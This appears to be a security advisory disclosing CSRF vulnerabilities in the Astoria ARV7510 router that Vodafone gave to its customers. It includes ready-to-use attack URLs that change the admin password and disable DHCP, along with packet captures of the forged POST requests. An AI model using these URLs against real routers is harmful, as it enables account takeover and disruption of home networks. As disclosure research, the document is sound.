

Astoria ARV7510

- Manufacturer: Astoria
- Model: ARV7510
- Firmware versions: Tested in 00.03.41
- Comments:
 - Common router that ISP Vodafone used to give away to their customers.
- Vulnerability:
 - CVE: Waiting for assignation
 - Description: Multiple *Cross Site Request Forgery* (CSRF) vulnerabilities within the router website allow an external attacker to carry out actions such as changing the administrator password.
 - Found by: Jose Antonio Rodríguez García, Iván Sáenz de Castro and Álvaro Folgado Rueda.

Every input field is vulnerable to *Cross Site Request Forgery* attacks.

I.e., if an attacker wants to change the administrator password, he may use the following URL to do so once the victim opens the link:

http://192.168.1.22/cgi-bin/setup_pass.cgi?pwdOld=vodafone&pwdNew=vodafone1&pwdCfm=vodafone1

```
⊕ [SEQ/ACK analysis]
- Hypertext Transfer Protocol
  ⊕ POST /cgi-bin/setup_pass.cgi HTTP/1.1\r\n
    Host: 192.168.1.22\r\n
    Connection: keep-alive\r\n
    ⊕ Content-Length: 49\r\n
    Cache-Control: max-age=0\r\n
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q
    Origin: http://192.168.1.22\r\n
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Ge
    Content-Type: application/x-www-form-urlencoded\r\n
    Referer: http://192.168.1.22/html/expert/administration.htm\r\n
    Accept-Encoding: gzip,deflate\r\n
    Accept-Language: en-US,en;q=0.8\r\n
    \r\n
    [Full request URI: http://192.168.1.22/cgi-bin/setup_pass.cgi]
    [HTTP request 1/1]
    [Response in frame: 91]
- Line-based text data: application/x-www-form-urlencoded
  pwdOld=vodafone&pwdNew=vodafone1&pwdCfm=vodafone1
```

If an attacker wants to disable the DHCP server, he may use the following URL to do so once the victim opens the link:

http://192.168.0.1/cgi-bin/setup_lan.cgi?lan_ip1=192&lan_ip2=168&lan_ip3=0&lan_ip4=1&lan_mask4=0&DhcpStartIP1=192&DhcpStartIP2=168&DhcpStartIP3=0&DhcpStartIP4=192&DhcpEndIP1=192&DhcpEndIP2=168&DhcpEndIP3=0&DhcpEndIP4=254&hostName=ARV7510PW22&domain_name=Vodafone.DSLRouter&dhcp_enable=0&LeaseTime=&rebootTag=1&sSuccessPage=html%2Fexpert%2Fvalid_reseau_dom.htm&sErrorPage=html%2Fexpert%2Fconfig_reseau_dom.htm&profile1=&dhcpi1_1=&dhcpi1_2=&dhcpi1_3=&dhcpi1_4=&MAC1_1=&MAC1_2=&MAC1_3=&MAC1_4=&MAC1_5=&MAC1_6=&profile2=&dhcpi2_1=&dhcpi2_2=&dhcpi2_3=&dhcpi2_4=&MAC2_1=&MAC2_2=&MAC2_3=&MAC2_4=&MAC2_5=&MAC2_6=&profile3=&dhcpi3_1=&dhcpi3_2=&dhcpi3_3=&dhcpi3_4=&MAC3_1=&MAC3_2=&MAC3_3=&MAC3_4=&MAC3_5=&MAC3_6=&profile4=&dhcpi4_1=&dhcpi4_2=&dhcpi4_3=&dhcpi4_4=&MAC4_1=&MAC4_2=&MAC4_3=&MAC4_4=&MAC4_5=&MAC4_6=&profile5=&dhcpi5_1=&dhcpi5_2=&dhcpi5_3=&dhcpi5_4=&MAC5_1=&MAC5_2=&MAC5_3=&MAC5_4=&MAC5_5=&MAC5_6=&profile6=&dhcpi6_1=&dhcpi6_2=&dhcpi6_3=&dhcpi6_4=&MAC6_1=&MAC6_2=&MAC6_3=&MAC6_4=&MAC6_5=&MAC6_6=&profile7=&dhcpi7_1=&dhcpi7_2=&dhcpi7_3=&dhcpi7_4=&MAC7_1=&MAC7_2=&MAC7_3=&MAC7_4=&MAC7_5=&MAC7_6=&profile8=&dhcpi8_1=&dhcpi8_2=&dhcpi8_3=&dhcpi8_4=&MAC8_1=&MAC8_2=&MAC8_3=&MAC8_4=&MAC8_5=&MAC8_6=&profile9=&dhcpi9_1=&dhcpi9_2=&dhcpi9_3=&dhcpi9_4=&MAC9_1=&MAC9_2=&MAC9_3=&MAC9_4=&MAC9_5=&MAC9_6=&profile10=&dhcpi10_1=&dhcpi10_2=&dhcpi10_3=&dhcpi10_4=&MAC10_1=&MAC10_2=&MAC10_3=&MAC10_4=&MAC10_5=&MAC10_6

5	3.846854000	192.168.0.192	192.168.0.1	TCP	592 [TCP segment of a reassembled PDU]
6	3.847084000	192.168.0.192	192.168.0.1	HTTP	1452 POST /cgi-bin/setup_lan.cgi HTTP/1.1
7	3.847630000	192.168.0.1	192.168.0.192	TCP	60 http > 55611 [ACK] Seq=1 Ack=539 Wins
8	3.848936000	192.168.0.1	192.168.0.192	TCP	60 http > 55611 [ACK] Seq=1 Ack=1937 Wins

Window size value: 29200
 [Calculated window size: 29200]
 [Window size scaling factor: -2 (no window scaling used)]
☒ Checksum: 0x97e2 [validation disabled]
☒ [SEQ/ACK analysis]
 [Bytes in flight: 1936]
 TCP segment data (1398 bytes)
 [2 Reassembled TCP Segments (1936 bytes): #5(538), #6(1398)]

Hypertext Transfer Protocol

☒ POST /cgi-bin/setup_lan.cgi HTTP/1.1\r\n
 Host: 192.168.0.1\r\n
 Connection: keep-alive\r\n
☒ Content-Length: 1398\r\n
 Cache-Control: max-age=0\r\n
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
 Origin: http://192.168.0.1\r\n
 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36\r\n
 Content-Type: application/x-www-form-urlencoded\r\n
 Referer: http://192.168.0.1/html/expert/config_reseau_dom.htm\r\n
 Accept-Encoding: gzip,deflate\r\n
 Accept-Language: en-US,en;q=0.8\r\n
 \r\n

[Full request URI: http://192.168.0.1/cgi-bin/setup_lan.cgi]

[HTTP request 1/1]

Line-based text data: application/x-www-form-urlencoded

[truncated] lan_ip1=192&lan_ip2=168&lan_ip3=0&lan_ip4=1&lan_mask4=0&dhcpStartIP1=192&dhcpStartIP2=168&dhcpStartIP3=0&dhcpStartIP4=1